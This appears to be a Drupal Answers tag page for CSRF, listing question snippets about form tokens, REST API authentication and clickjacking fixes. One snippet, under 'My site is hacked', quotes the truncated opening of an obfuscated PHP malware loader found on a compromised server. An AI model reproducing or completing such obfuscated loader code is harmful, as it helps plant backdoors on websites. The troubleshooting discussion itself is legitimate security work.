Questions tagged [csrf]
Cross-site request forgery, also known as a one-click attack or session riding, is a type of malicious exploit of a website.
23
questions
1
vote
2
answers
76
views
refresh form_token with refresh page
Unfortunately, the form_token does not change when I refresh the form pages.
Doesn't this cause abuse and security risks?
Can anyone explain what Drupal does for CSRF in all its forms?
Thanks
- 61
-2
votes
1
answer
235
views
How to add anti csrf token to the forms (No Anti-CSRF tokens were found in a HTML submission form.)
When i was testing my drupal 9 website for security i got the error as
"No Anti-CSRF tokens were found in a HTML submission form."
solution is given as "use anti-CSRF packages such as ...
2
votes
1
answer
217
views
CSRF token is not varying in Ajax callback while submitting form
I have a form with ajax callback as following , on each submit token is not varying , it remains constant for all submit .
wall.routing.yml
wall.commentform:
path: '/commentform'
defaults:
...
- 21
4
votes
1
answer
678
views
Is the X-csrf-token only available for authenticated users?
I am working on a rest api end point. I am noticing that some end points work without X-csrf-token header. Digging into the core revealed the following
// This check only applies if
// 1. the ...
- 814
1
vote
2
answers
1k
views
Fix for "'csrf_token' URL query argument is invalid" error during logout
I am creating a set of API endpoints for a mobile app using Rest. For User authentication, I am using the default API endpoints supplied by Drupal. That would be
/user/logout?_format=json&token=&...
- 814
1
vote
1
answer
251
views
Invalid CSRF token using flag.link_builder service (Flag module)
I have a REST route that returns a list of user accounts. I have a flag setup called 'following' as you can follow and unfollow other members. In my REST route, I use:
$flag_link = \Drupal::service('...
- 407
3
votes
1
answer
2k
views
How to get the JWT token via webservice
After enabling the JWT module. and following Using JSON Web Tokens (JWT) to Authenticate Requests to REST Resources in Drupal 8 on how to use it, it is working.
I know I can access the user JWT ...
- 281
0
votes
1
answer
3k
views
Request header field X-CSRF-Token is not allowed by Access-Control-Allow-Headers in preflight response for Drupal 7 REST API
I have few APIs created in Drupal 7 which uses session authentication. Now when I get the CSRF token and try to use it in my API call, I get following error:
Request header field X-CSRF-Token is not ...
- 101
3
votes
1
answer
1k
views
How to handle session for anonymous users for CSRF tokens?
I need to provide list of CSRF tokens in drupalSettings for every anonymous user so JS can make safe requests to api endpoints.
The CSRF service mentions the need for session to exist for the seed ...
user21641
0
votes
1
answer
907
views
Unauthorized : CSRF validation failed issue for Logged in user
I need to hide button for Logged in user. For that I have written the following code in dashboard.js file.
Code working fine for anonymous user. But not working for Logged in user.
$(document).on("...
- 7,183
1
vote
0
answers
389
views
"CSRF validation failed" using "Session Token authentication only"
Having problem in CSRF validation when using Session Token authentication only using services_session_token_auth 7.x-1.x-dev module.
already set the token but it keeps throwing CSRF validation failed....
- 611
-1
votes
1
answer
469
views
How to fix "Clickjacking"?
I have got this vulnerability "#150124 Clickjacking - Framable Page". Can anyone suggest how to fix this vulnerability for a Drupal 6 site?
- 1
6
votes
2
answers
4k
views
Generating URL with CSRF token
I have a route that requires a CSRF token:
mp.ajax.authorized:
path: /mp/ajax/authorized
defaults:
_controller: 'Drupal\mp\Controller\AjaxController::authorizedCallback'
requirements:
...
- 15.1k
0
votes
1
answer
1k
views
Login Users sessions persistence using Services and Rest Server modules
I'm having a heck of a time creating drupal services from angular hitting the rest server. I created a rest end point for all my authentication needs, configured in the Service module. When I use ...
- 111
-1
votes
2
answers
992
views
Get user ID from CSRF token
Is there any way how can I programmatically get user ID from CSRF token?
I'm using web service and need to update user data according to user token.
- 141
0
votes
1
answer
575
views
CSRF token not working (access denied)
I can get CSRF token to be generated on particular route by putting _crsf_token in a routing file, but on visiting that route , I keep getting an Access Denied error.
Removing CSRF token line from ...
- 73
2
votes
1
answer
526
views
Services CSRF Token request security
A Drupal website that my company is maintaining has a REST endpoint, using Drupal Services (likely not that relevant). One of the systems that I'm writing has to write changes in the system to that ...
- 209
2
votes
3
answers
725
views
Menu Callback and CSRF
How can I get a link with the correct csrf token for an internal path? Here is what I have:
in mymodule.routing.yml
mymodule.test:
path: '/mymodule-test'
defaults:
_content: 'Drupal\mymodule\...
- 318
2
votes
1
answer
185
views
My site is hacked [duplicate]
It looks like my Drupal site is hacked, I see lot of new files in my web-sever containing following code:
$sF="PCT4BA6ODSE_";$s21=strtolower($sF[4].$sF[5].$sF[9].$sF[10].$sF[6].$sF[3].$sF[11].$sF[8].$...
- 209
0
votes
2
answers
3k
views
Services 3 Session authentication CSRF Validation with Persistent Log in
I am trying to use Services 7.x-3.11, the latest stable available to authenticate and access Drupal 7.34. Accessing from mobile devices with Native coding. I want to keep the user authenticated ...
- 7,652
1
vote
2
answers
674
views
csrfToken: reget without logout user
I have a site where I use AngularJS to connect to Services module paths.
Now, we know that I need to send (for every put connection) the CSRF token into headers request, and this token is linked to ...
- 1,192
2
votes
1
answer
6k
views
Problems with Services and CSRF token
I've been trying to create a user via webservice without doing any custom coding or curl.
This post got me 75% there: How to create test_endpoint?
I finally got it working, but only by passing in my ...
- 151
2
votes
1
answer
2k
views
Creating a node with PHP cURL client returns 401 error - X-CSRF token always empty [closed]
A recent update to Services and Drupal requires a csrf token, and it broke the PHP cURL client samples.
I am trying the sample code for Services to:
Create a node here https://drupal.org/node/...
- 4,549